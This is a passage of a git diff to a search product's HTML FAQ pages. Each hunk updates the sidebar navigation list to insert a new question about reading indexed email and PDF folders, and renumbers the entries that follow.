class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-jupyter-notebook-cells.html b/landing/answers/search-jupyter-notebook-cells.htmlindex 45c7fc7e6..039ca51df 100644--- a/landing/answers/search-jupyter-notebook-cells.html+++ b/landing/answers/search-jupyter-notebook-cells.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class="active"><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class="active"><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-kubernetes-pod-logs-on-disk.html b/landing/answers/search-kubernetes-pod-logs-on-disk.htmlindex efee7af7b..66f1b4029 100644--- a/landing/answers/search-kubernetes-pod-logs-on-disk.html+++ b/landing/answers/search-kubernetes-pod-logs-on-disk.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-obsidian-pdf-docx-attachments.html b/landing/answers/search-obsidian-pdf-docx-attachments.htmlindex be2c63429..3a2fd70a7 100644--- a/landing/answers/search-obsidian-pdf-docx-attachments.html+++ b/landing/answers/search-obsidian-pdf-docx-attachments.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class="active"><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class="active"><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" 